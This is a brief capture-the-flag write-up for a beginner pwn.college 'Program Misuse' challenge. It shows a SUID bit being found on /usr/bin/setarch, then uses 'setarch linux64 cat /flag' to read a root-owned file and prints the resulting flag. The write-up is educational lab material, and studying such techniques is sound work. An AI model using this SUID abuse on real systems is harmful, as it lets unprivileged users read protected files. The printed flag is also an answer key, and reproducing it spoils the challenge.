Category: Program Misuse
Platform: pwn.college
Difficulty: Begineer Date: 2025-07-15
Author: Himanshu Parate

🧠 Summary:

The challenge abuses a SUID bit set on /usr/bin/setarch, allowing an unprivileged user to read the root-owned flag file at /flag.

🔍 Enumeration

ls -l /usr/bin/setarch

output:

-rwsr-xr-x 1 root root 47480 Sep  5  2019 /usr/bin/setarch

-The s in -rws indicates it’s a SUID binary. -setarch runs with root privileges.

🚀 Exploitation

The setarch command in Linux is used to change the architecture or personality of a process before executing it.

setarch linux64 cat /flag

Output:

pwn.college{k2RylRehP4RmVHIWovP1YNHQHzU.dJzNxwSM0IzMyEzW}